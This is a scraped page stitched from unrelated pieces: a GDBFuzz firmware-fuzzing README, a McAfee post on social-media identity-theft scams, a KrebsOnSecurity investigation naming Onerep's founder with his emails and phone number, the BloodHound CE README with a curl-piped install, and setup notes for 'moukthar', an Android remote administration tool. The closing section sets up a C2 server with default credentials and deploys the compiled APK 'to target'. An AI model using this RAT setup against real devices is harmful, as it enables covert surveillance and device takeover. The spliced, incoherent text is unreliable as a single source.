# 'RandomBasicBlockNoCorpusStrategy.py' - Like first, but prevents growing the input corpus and therefore behaves like blackbox fuzzing with coverage measurement.
# 'BlackboxStrategy.py', - Doesn't set any breakpoints
breakpoint_strategy_file = RandomBasicBlockStrategy.py
[Dependencies]
path_to_qemu = dependencies/qemu/build/x86_64-linux-user/qemu-x86_64
path_to_ghidra = dependencies/ghidra
[LogsAndVisualizations]
# One of {DEBUG, INFO, WARNING, ERROR, CRITICAL}
loglevel = INFO
# Path to a directory where output files (e.g. graphs, logfiles) are stored.
output_directory = ./output
# If set to True, an MQTT client sends UI elements (e.g. graphs)
enable_UI = False
An example config file is located in ./example_programs/ together with an example program that was compiled using our fuzzing harness in benchmark/benchSUTs/GDBFuzz_wrapper/common/. Start fuzzing for one hour with the following command.
chmod a+x ./example_programs/json-2017-02-12
./src/GDBFuzz/main.py --config ./example_programs/fuzz_json.cfg
We first see output from Ghidra analyzing the binary executable and susequently messages when breakpoints are relocated or hit.
Depending on the specified output_directory in the config file, there should now be a folder trial-0 with the following structure
.
├── corpus # A folder that contains the input corpus.
├── crashes # A folder that contains crashing inputs - if any.
├── cfg # The control flow graph as adjacency list.
├── fuzzer_stats # Statistics of the fuzzing campaign.
├── plot_data # Table showing at which relative time in the fuzzing campaign which basic block was reached.
├── reverse_cfg # The reverse control flow graph.
By setting start_ghidra = False in the config file, GDBFuzz connects to a Ghidra instance running in GUI mode. Therefore, the ghidra_bridge plugin needs to be started manually from the script manager. During fuzzing, reached program blocks are highlighted in green.
For fuzzing on Linux user applications, GDBFuzz leverages the standard LLVMFuzzOneInput entrypoint that is used by almost all fuzzers like AFL, AFL++, libFuzzer,.... In benchmark/benchSUTs/GDBFuzz_wrapper/common There is a wrapper that can be used to compile any compliant fuzz harness into a standalone program that fetches input via a named pipe at /tmp/fromGDBFuzz. This allows to simulate an embedded device that consumes data via a well defined input interface and therefore run GDBFuzz on any application. For convenience we created a script in benchmark/benchSUTs that compiles all programs from our evaluation with our wrapper as explained later.
NOTE: GDBFuzz is not intended to fuzz Linux user applications. Use AFL++ or other fuzzers therefore. The wrapper just exists for evaluation purposes to enable running benchmarks and comparisons on a scale!
The general effectiveness of our approach is shown in a large scale benchmark deployed as docker containers.
make dockerimage
To run the above experiment in the docker container (for one hour as specified in the config file), map the example_programsand output folder as volumes and start GDBFuzz as follows.
chmod a+x ./example_programs/json-2017-02-12
docker run -it --env CONFIG_FILE=/example_programs/fuzz_json_docker_qemu.cfg -v $(pwd)/example_programs:/example_programs -v $(pwd)/output:/output gdbfuzz:1.0
An output folder should appear in the current working directory with the structure explained above.
Our evaluation is split in two parts. 1. GDBFuzz on its intended setup, directly on the hardware. 2. GDBFuzz in an emulated environment to allow independend analysis and comparisons of the results.
GDBFuzz can work with any GDB server and therefore most debug probes for microcontrollers.
Regarding RQ1 from the paper, we execute GDBFuzz on different microcontrollers with different firmwares located in example_firmware. For each experiment we run GDBFuzz with the RandomBasicBlock and with the RandomBasicBlockNoCorpus strategy. The latter behaves like fuzzing without feedback, but we can still measure the achieved coverage. For answering RQ1, we compare the achieved coverage of the RandomBasicBlock and the RandomBasicBlockNoCorpus strategy. Respective config files are in the corresponding subfolders and we now explain how to setup fuzzing on the four development boards.
GDBFuzz requires access to a GDB Server. In this case the B-L4S5I-IOT01A and its on-board debugger are used. This on-board debugger sets up a GDB server via the 'st-util' program, and enables access to this GDB server via localhost:4242.
sudo apt-get install stlink-tools gdb-multiarch
Build and flash a firmware for the STM32 B-L4S5I-IOT01A, for example the arduinojson project.
Prerequisite: Install platformio (pio)
cd ./example_firmware/stm32_disco_arduinojson/
pio run --target upload
For your info: platformio stored an .elf file of the SUT here: ./example_firmware/stm32_disco_arduinojson/.pio/build/disco_l4s5i_iot01a/firmware.elf This .elf file is also later used in the user configuration for Ghidra.
Start a new terminal, and run the following to start the a GDB Server:
st-util
Run GDBFuzz with a user configuration for arduinojson. We can send data over the usb port to the microcontroller. The microcontroller forwards this data via serial to the SUT'. In our case /dev/ttyACM0 is the USB device to the microcontroller board. If your system assigned another device to the microcontroller board, change /dev/ttyACM0 in the config file to your device.
./src/GDBFuzz/main.py --config ./example_firmware/stm32_disco_arduinojson/fuzz_serial_json.cfg
Fuzzer statistics and logs are in the ./output/... directory.
Install pyocd:
pip install --upgrade pip 'mbed-ls>=1.7.1' 'pyocd>=0.16'
Make sure that 'KitProg v3' is on the device and put Board into 'Arm DAPLink' Mode by pressing the appropriate button. Start the GDB server:
pyocd gdbserver --persist
Flash a firmware and start fuzzing e.g. with
gdb-multiarch
target remote :3333
load ./example_firmware/CY8CKIT_json/mtb-example-psoc6-uart-transmit-receive.elf
monitor reset
./src/GDBFuzz/main.py --config ./example_firmware/CY8CKIT_json/fuzz_serial_json.cfg
Build and flash a firmware for the ESP32, for instance the arduinojson example with platformio.
cd ./example_firmware/esp32_arduinojson/
pio run --target upload
Add following line to the openocd config file for the J-Link debugger: jlink.cfg
adapter speed 10000
Start a new terminal, and run the following to start the GDB Server:
get_idf
openocd -f interface/jlink.cfg -f target/esp32.cfg -c "telnet_port 7777" -c "gdb_port 8888"
Run GDBFuzz with a user configuration for arduinojson. We can send data over the usb port to the microcontroller. The microcontroller forwards this data via serial to the SUT'. In our case /dev/ttyUSB0 is the USB device to the microcontroller board. If your system assigned another device to the microcontroller board, change /dev/ttyUSB0 in the config file to your device.
./src/GDBFuzz/main.py --config ./example_firmware/esp32_arduinojson/fuzz_serial.cfg
Fuzzer statistics and logs are in the ./output/... directory.
Install TI MSP430 GCC from https://www.ti.com/tool/MSP430-GCC-OPENSOURCE
Start GDB Server
./gdb_agent_console libmsp430.so
or (more stable). Build mspdebug from https://github.com/dlbeer/mspdebug/ and use:
until mspdebug --fet-skip-close --force-reset tilib "opt gdb_loop True" gdb ; do sleep 1 ; done
Ghidra fails to analyze binaries for the TI MSP430 controller out of the box. To fix that, we import the file in the Ghidra GUI, choose MSP430X as architecture and skip the auto analysis. Next, we open the 'Symbol Table', sort them by name and delete all symbols with names like $C$L*. Now the auto analysis can be executed. After analysis, start the ghidra bridge from the Ghidra GUI manually and then start GDBFuzz.
./src/GDBFuzz/main.py --config ./example_firmware/msp430_arduinojson/fuzz_serial.cfg
To access USB devices as non-root user with pyusb we add appropriate rules to udev. Paste following lines to /etc/udev/rules.d/50-myusb.rules:
SUBSYSTEM=="usb", ATTRS{idVendor}=="1234", ATTRS{idProduct}=="5678" GROUP="usbusers", MODE="666"
Reload udev:
sudo udevadm control --reload
sudo udevadm trigger
In RQ2 from the paper, we compare GDBFuzz against the emulation based approach Fuzzware. First we execute GDBFuzz and Fuzzware as described previously on the shipped firmware files. For each GDBFuzz experiment, we create a file with valid basic blocks from the control flow graph files as follows:
cut -d " " -f1 ./cfg > valid_bbs.txt
Now we can replay coverage against fuzzware result fuzzware genstats --valid-bb-file valid_bbs.txt
When crashing or hanging inputs are found, the are stored in the crashes folder. During evaluation, we found the following three bugs:
GDBFuzz can also run on a Raspberry Pi host with slight modifications:
In file ./dependencies/ghidra/support/launch.sh:125 The JAVA_HOME variable must be hardcoded therefore e.g. to JAVA_HOME="/usr/lib/jvm/default-java"
To fuzz software on other boards, GDBFuzz requires
src/GDBFuzz/connections) that triggers execution of the code at the entry point e.g. serial connectionAll these properties need to be specified in the config file.
For RQ's 4 - 8 we run a large scale benchmark. First, build the Docker image as described previously and compile applications from Google's Fuzzer Test Suite with our fuzzing harness in benchmark/benchSUTs/GDBFuzz_wrapper/common.
cd ./benchmark/benchSUTs
chmod a+x setup_benchmark_SUTs.py
make dockerbenchmarkimage
Next adopt the benchmark settings in benchmark/scripts/benchmark.py and benchmark/scripts/benchmark_aflpp.py to your demands (especially number_of_cores, trials, and seconds_per_trial) and start the benchmark with:
cd ./benchmark/scripts
./benchmark.py $(pwd)/../benchSUTs/SUTs/ SUTs.json
./benchmark_aflpp.py $(pwd)/../benchSUTs/SUTs/ SUTs.json
A folder appears in ./benchmark/scripts that contains plot files (coverage over time), fuzzer statistic files, and control flow graph files for each experiment as in evaluation/fuzzer_test_suite_qemu_runs.
GDBFuzz has an optional feature where it plots the control flow graph of covered nodes. This is disabled by default. You can enable it by following the instructions of this section and setting 'enable_UI' to 'True' in the user configuration.
On the host:
Install
sudo apt-get install graphviz
Install a recent version of node, for example Option 2 from here. Use Option 2 and not option 1. This should install both node and npm. For reference, our version numbers are (but newer versions should work too):
➜ node --version
v16.9.1
➜ npm --version
7.21.1
Install web UI dependencies:
cd ./src/webui
npm install
Install mosquitto MQTT broker, e.g. see here
Update the mosquitto broker config: Replace the file /etc/mosquitto/conf.d/mosquitto.conf with the following content:
listener 1883
allow_anonymous true
listener 9001
protocol websockets
Restart the mosquitto broker:
sudo service mosquitto restart
Check that the mosquitto broker is running:
sudo service mosquitto status
The output should include the text 'Active: active (running)'
Start the web UI:
cd ./src/webui
npm start
Your web browser should open automatically on 'http://localhost:3000/'.
Start GDBFuzz and use a user config file where enable_UI is set to True. You can use the Docker container and arduinojson SUT from above. But make sure to set 'enable_UI' to 'True'.
The nodes covered in 'blue' are covered. White nodes are not covered. We only show uncovered nodes if their parent is covered (drawing the complete control flow graph takes too much time if the control flow graph is large).
Before you take the fun-looking quiz that popped up in your social media feed, think twice. The person holding the answers may be a hacker.
Where people go, hackers are sure to follow. So it’s no surprise hackers have set up shop on social media. This has been the case for years, yet now social media-based crime is on the rise. Since 2021, total reported losses to this type of fraud reached $2.7 billion.
Among these losses are cases of identity theft, where criminals use social media to gather personal information and build profiles of potential victims they can target. Just as we discussed in our recent blog, “Can thieves steal identities with only a name and address?” these bits of information are important pieces in the larger jigsaw puzzle that is your overall identity.
Let’s uncover these scams these crooks use so that you can steer clear and stay safe.
“What’s your spooky Halloween name?” or “What’s your professional wrestler name?” You’ve probably seen a few of those and similar quizzes in your feed where you use the street you grew up on, your birthdate, your favorite song, and maybe the name of a beloved first pet to cook up a silly name or some other result. Of course, these are pieces of personal information, sometimes the answer to commonly used security questions by banks and other financial institutions. (Like, what was the model of your first car?) With this info in hand, a hacker could attempt to gain access to your accounts.
Similarly, scammers will also post surveys with the offer of a gift card to a popular retailer. All you have to do is fork over your personal info. Of course, there’s no gift card coming. Meanwhile, that scammer now has some choice pieces of personal info that they can potentially use against you.
How to avoid them: Simply put, don’t take those quizzes and surveys online.
The list here is long. These include posts and direct messages about phony relief funds, grants, and giveaways—along with bogus business opportunities that run the gamut from thinly veiled pyramid schemes and gifting circles to mystery shopper jobs. What they all have in common is that they’re run by scammers who want your information, money, or both. If this sounds familiar, like those old emails about transferring funds for a prince in some faraway nation, it is. Many of these scams simply made the jump from email to social media platforms.
How to avoid them: Research any offer, business opportunity, or organization that reaches out to you. A good trick is to do a search of the organization’s name plus the term “scam” or “review” or “complaint” to see if anything sketchy comes up.
If there’s one government official that scammers like to use to scare you, it’s the tax collector. These scammers will use social media messaging (and other mediums like emails, texts, and phone calls) to pose as an official who’s either demanding back taxes or offering a refund or credit—all of which are bogus and all of which involve you handing over your personal info, money, or both.
How to avoid them: Delete the message. In the U.S., the IRS and other government agencies will never reach out to you in this way or ask you for your personal information. Likewise, they won’t demand payment via wire transfer, gift cards, or cryptocurrency like Bitcoin. Only scammers will.
These are far more targeted than the scams listed above because they’re targeted and often rely upon specific information about you and your family. Thanks to social media, scammers can gain access to that info and use it against you. One example is the “grandkid scam” where a hacker impersonates a grandchild and asks a grandparent for money. Similarly, there are family emergency scams where a bad actor sends a message that a family member was in an accident or arrested and needs money quickly. In all, they rely on a phony story that often involves someone close to you who’s in need or trouble.
How to avoid them: Take a deep breath and confirm the situation. Reach out to the person in question or another friend or family member to see if there really is a concern. Don’t jump to pay right away.
This is one of the most targeted attacks of all—the con artist who strikes up an online relationship to bilk a victim out of money. Found everywhere from social media sites to dating apps to online forums, this scam involves creating a phony profile and a phony story to go with it. From there, the scammer will communicate several times a day, perhaps talking about their exotic job in some exotic location. They’ll build trust along the way and eventually ask the victim to wire money or purchase gift cards.
How to avoid them: Bottom line, if someone you’ve never met in person asks you for money online, it’s a good bet that it’s a scam. Don’t do it.
Now with an idea of what the bad actors are up to out there, here’s a quick rundown of things you can do to protect yourself further from the social media scams they’re trying to pull.
Above and beyond what we’ve covered so far, some online protection basics can keep you safer still. Comprehensive online protection software will help you create strong, unique passwords for all your accounts, help you keep from clicking links to malicious sites, and prevent you from downloading malware. Moreover, it can provide you with identity protection services like ours, which keep your personal info private with around-the-clock monitoring of your email addresses and bank accounts with up to $1M of ID theft insurance.
Together, with some good protection and a sharp eye, you can avoid those identity theft scams floating around on social media—and get back to enjoying time spent online with your true family and friends.
The post Quizzes and Other Identity Theft Schemes to Avoid on Social Media appeared first on McAfee Blog.
Join the guided tour outside the Security Operations Center, where we’ll discuss real time network traffic of the RSA Conference, as seen in the NetWitness platform. Engineers will be using Cisco S… Read more on Cisco Blogs
The data privacy company Onerep.com bills itself as a Virginia-based service for helping people remove their personal information from almost 200 people-search websites. However, an investigation into the history of onerep.com finds this company is operating out of Belarus and Cyprus, and that its founder has launched dozens of people-search services over the years.
Onerep’s “Protect” service starts at $8.33 per month for individuals and $15/mo for families, and promises to remove your personal information from nearly 200 people-search sites. Onerep also markets its service to companies seeking to offer their employees the ability to have their data continuously removed from people-search sites.
A testimonial on onerep.com.
Customer case studies published on onerep.com state that it struck a deal to offer the service to employees of Permanente Medicine, which represents the doctors within the health insurance giant Kaiser Permanente. Onerep also says it has made inroads among police departments in the United States.
But a review of Onerep’s domain registration records and that of its founder reveal a different side to this company. Onerep.com says its founder and CEO is Dimitri Shelest from Minsk, Belarus, as does Shelest’s profile on LinkedIn. Historic registration records indexed by DomainTools.com say Mr. Shelest was a registrant of onerep.com who used the email address dmitrcox2@gmail.com.
A search in the data breach tracking service Constella Intelligence for the name Dimitri Shelest brings up the email address dimitri.shelest@onerep.com. Constella also finds that Dimitri Shelest from Belarus used the email address d.sh@nuwber.com, and the Belarus phone number +375-292-702786.
Nuwber.com is a people search service whose employees all appear to be from Belarus, and it is one of dozens of people-search companies that Onerep claims to target with its data-removal service. Onerep.com’s website disavows any relationship to Nuwber.com, stating quite clearly, “Please note that OneRep is not associated with Nuwber.com.”
However, there is an abundance of evidence suggesting Mr. Shelest is in fact the founder of Nuwber. Constella found that Minsk telephone number (375-292-702786) has been used multiple times in connection with the email address dmitrcox@gmail.com. Recall that Onerep.com’s domain registration records in 2018 list the email address dmitrcox2@gmail.com.
It appears Mr. Shelest sought to reinvent his online identity in 2015 by adding a “2” to his email address. The Belarus phone number tied to Nuwber.com shows up in the domain records for comversus.com, and DomainTools says this domain is tied to both dmitrcox@gmail.com and dmitrcox2@gmail.com. Other domains that mention both email addresses in their WHOIS records include careon.me, docvsdoc.com, dotcomsvdot.com, namevname.com, okanyway.com and tapanyapp.com.
Onerep.com CEO and founder Dimitri Shelest, as pictured on the “about” page of onerep.com.
A search in DomainTools for the email address dmitrcox@gmail.com shows it is associated with the registration of at least 179 domain names, including dozens of mostly now-defunct people-search companies targeting citizens of Argentina, Brazil, Canada, Denmark, France, Germany, Hong Kong, Israel, Italy, Japan, Latvia and Mexico, among others.
Those include nuwber.fr, a site registered in 2016 which was identical to the homepage of Nuwber.com at the time. DomainTools shows the same email and Belarus phone number are in historic registration records for nuwber.at, nuwber.ch, and nuwber.dk (all domains linked here are to their cached copies at archive.org, where available).
Nuwber.com, circa 2015. Image: Archive.org.
Update, March 21, 11:15 a.m. ET: Mr. Shelest has provided a lengthy response to the findings in this story. In summary, Shelest acknowledged maintaining an ownership stake in Nuwber, but said there was “zero cross-over or information-sharing with OneRep.” Mr. Shelest said any other old domains that may be found and associated with his name are no longer being operated by him.
“I get it,” Shelest wrote. “My affiliation with a people search business may look odd from the outside. In truth, if I hadn’t taken that initial path with a deep dive into how people search sites work, Onerep wouldn’t have the best tech and team in the space. Still, I now appreciate that we did not make this more clear in the past and I’m aiming to do better in the future.” The full statement is available here (PDF).
Original story:
Historic WHOIS records for onerep.com show it was registered for many years to a resident of Sioux Falls, SD for a completely unrelated site. But around Sept. 2015 the domain switched from the registrar GoDaddy.com to eNom, and the registration records were hidden behind privacy protection services. DomainTools indicates around this time onerep.com started using domain name servers from DNS provider constellix.com. Likewise, Nuwber.com first appeared in late 2015, was also registered through eNom, and also started using constellix.com for DNS at nearly the same time.
Listed on LinkedIn as a former product manager at OneRep.com between 2015 and 2018 is Dimitri Bukuyazau, who says their hometown is Warsaw, Poland. While this LinkedIn profile (linkedin.com/in/dzmitrybukuyazau) does not mention Nuwber, a search on this name in Google turns up a 2017 blog post from privacyduck.com, which laid out a number of reasons to support a conclusion that OneRep and Nuwber.com were the same company.
“Any people search profiles containing your Personally Identifiable Information that were on Nuwber.com were also mirrored identically on OneRep.com, down to the relatives’ names and address histories,” Privacyduck.com wrote. The post continued:
“Both sites offered the same immediate opt-out process. Both sites had the same generic contact and support structure. They were – and remain – the same company (even PissedConsumer.com advocates this fact: https://nuwber.pissedconsumer.com/nuwber-and-onerep-20160707878520.html).”
“Things changed in early 2016 when OneRep.com began offering privacy removal services right alongside their own open displays of your personal information. At this point when you found yourself on Nuwber.com OR OneRep.com, you would be provided with the option of opting-out your data on their site for free – but also be highly encouraged to pay them to remove it from a slew of other sites (and part of that payment was removing you from their own site, Nuwber.com, as a benefit of their service).”
Reached via LinkedIn, Mr. Bukuyazau declined to answer questions, such as whether he ever worked at Nuwber.com. However, Constella Intelligence finds two interesting email addresses for employees at nuwber.com: d.bu@nuwber.com, and d.bu+figure-eight.com@nuwber.com, which was registered under the name “Dzmitry.”
PrivacyDuck’s claims about how onerep.com appeared and behaved in the early days are not readily verifiable because the domain onerep.com has been completely excluded from the Wayback Machine at archive.org. The Wayback Machine will honor such requests if they come directly from the owner of the domain in question.
Still, Mr. Shelest’s name, phone number and email also appear in the domain registration records for a truly dizzying number of country-specific people-search services, including pplcrwlr.in, pplcrwlr.fr, pplcrwlr.dk, pplcrwlr.jp, peeepl.br.com, peeepl.in, peeepl.it and peeepl.co.uk.
The same details appear in the WHOIS registration records for the now-defunct people-search sites waatpp.de, waatp1.fr, azersab.com, and ahavoila.com, a people-search service for French citizens.
The German people-search site waatp.de.
A search on the email address dmitrcox@gmail.com suggests Mr. Shelest was previously involved in rather aggressive email marketing campaigns. In 2010, an anonymous source leaked to KrebsOnSecurity the financial and organizational records of Spamit, which at the time was easily the largest Russian-language pharmacy spam affiliate program in the world.
Spamit paid spammers a hefty commission every time someone bought male enhancement drugs from any of their spam-advertised websites. Mr. Shelest’s email address stood out because immediately after the Spamit database was leaked, KrebsOnSecurity searched all of the Spamit affiliate email addresses to determine if any of them corresponded to social media accounts at Facebook.com (at the time, Facebook allowed users to search profiles by email address).
That mapping, which was done mainly by generous graduate students at my alma mater George Mason University, revealed that dmitrcox@gmail.com was used by a Spamit affiliate, albeit not a very profitable one. That same Facebook profile for Mr. Shelest is still active, and it says he is married and living in Minsk [Update, Mar. 16: Mr. Shelest’s Facebook account is no longer active].
The Italian people-search website peeepl.it.
Scrolling down Mr. Shelest’s Facebook page to posts made more than ten years ago show him liking the Facebook profile pages for a large number of other people-search sites, including findita.com, findmedo.com, folkscan.com, huntize.com, ifindy.com, jupery.com, look2man.com, lookerun.com, manyp.com, peepull.com, perserch.com, persuer.com, pervent.com, piplenter.com, piplfind.com, piplscan.com, popopke.com, pplsorce.com, qimeo.com, scoutu2.com, search64.com, searchay.com, seekmi.com, selfabc.com, socsee.com, srching.com, toolooks.com, upearch.com, webmeek.com, and many country-code variations of viadin.ca (e.g. viadin.hk, viadin.com and viadin.de).
The people-search website popopke.com.
Domaintools.com finds that all of the domains mentioned in the last paragraph were registered to the email address dmitrcox@gmail.com.
Mr. Shelest has not responded to multiple requests for comment. KrebsOnSecurity also sought comment from onerep.com, which likewise has not responded to inquiries about its founder’s many apparent conflicts of interest. In any event, these practices would seem to contradict the goal Onerep has stated on its site: “We believe that no one should compromise personal online security and get a profit from it.”
The people-search website findmedo.com.
Max Anderson is chief growth officer at 360 Privacy, a legitimate privacy company that works to keep its clients’ data off of more than 400 data broker and people-search sites. Anderson said it is concerning to see a direct link between between a data removal service and data broker websites.
“I would consider it unethical to run a company that sells people’s information, and then charge those same people to have their information removed,” Anderson said.
Last week, KrebsOnSecurity published an analysis of the people-search data broker giant Radaris, whose consumer profiles are deep enough to rival those of far more guarded data broker resources available to U.S. police departments and other law enforcement personnel.
That story revealed that the co-founders of Radaris are two native Russian brothers who operate multiple Russian-language dating services and affiliate programs. It also appears many of the Radaris founders’ businesses have ties to a California marketing firm that works with a Russian state-run media conglomerate currently sanctioned by the U.S. government.
KrebsOnSecurity will continue investigating the history of various consumer data brokers and people-search providers. If any readers have inside knowledge of this industry or key players within it, please consider reaching out to krebsonsecurity at gmail.com.
Update, March 15, 11:35 a.m. ET: Many readers have pointed out something that was somehow overlooked amid all this research: The Mozilla Foundation, the company that runs the Firefox Web browser, has launched a data removal service called Mozilla Monitor that bundles OneRep. That notice says Mozilla Monitor is offered as a free or paid subscription service.
“The free data breach notification service is a partnership with Have I Been Pwned (“HIBP”),” the Mozilla Foundation explains. “The automated data deletion service is a partnership with OneRep to remove personal information published on publicly available online directories and other aggregators of information about individuals (“Data Broker Sites”).”
In a statement shared with KrebsOnSecurity.com, Mozilla said they did assess OneRep’s data removal service to confirm it acts according to privacy principles advocated at Mozilla.
“We were aware of the past affiliations with the entities named in the article and were assured they had ended prior to our work together,” the statement reads. “We’re now looking into this further. We will always put the privacy and security of our customers first and will provide updates as needed.”
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BloodHound is a monolithic web application composed of an embedded React frontend with Sigma.js and a Go based REST API backend. It is deployed with a Postgresql application database and a Neo4j graph database, and is fed by the SharpHound and AzureHound data collectors.
BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to identify quickly. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory or Azure environment.
BloodHound CE is created and maintained by the BloodHound Enterprise Team. The original BloodHound was created by @_wald0, @CptJesus, and @harmj0y.
The easiest way to get up and running is to use our pre-configured Docker Compose setup. The following steps will get BloodHound CE up and running with the least amount of effort.
curl -L https://ghst.ly/getbhce | docker compose -f - up
http://localhost:8080/ui/login. Login with a username of admin and the randomly generated password from the logsNOTE: going forward, the default docker-compose.yml example binds only to localhost (127.0.0.1). If you want to access BloodHound outside of localhost, you'll need to follow the instructions in examples/docker-compose/README.md to configure the host binding for the container.
# Verify if Docker Engine is Running
docker info
# Attempt to stop Neo4j Service if running (on Windows)
Stop-Service "Neo4j" -ErrorAction SilentlyContinue
https://github.com/SpecterOps/BloodHound/assets/12970156/ea9dc042-1866-4ccb-9839-933140cc38b9
Please check out the Contact page in our wiki for details on how to reach out with questions and suggestions.
Remote adminitration tool for android
console git clone https://github.com/Tomiwa-Ot/moukthar.git
/var/www/html/ and install dependencies console mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web\ socket/ composer install The default credentials are username: android and password: the rastafarian in you
c2-server/.env and web socket/.env
database.sql
console php Server/web\ socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service
/etc/apache2/apache2.conf xml <Directory /var/www/html/c2-server> Options -Indexes DirectoryIndex app.php AllowOverride All Require all granted </Directory>
functionality/Utils.java ```java public static final String C2_SERVER = "http://localhost";public static final String WEB_SOCKET_SERVER = "ws://localhost:8080"; ``` - Compile APK using Android Studio and deploy to target
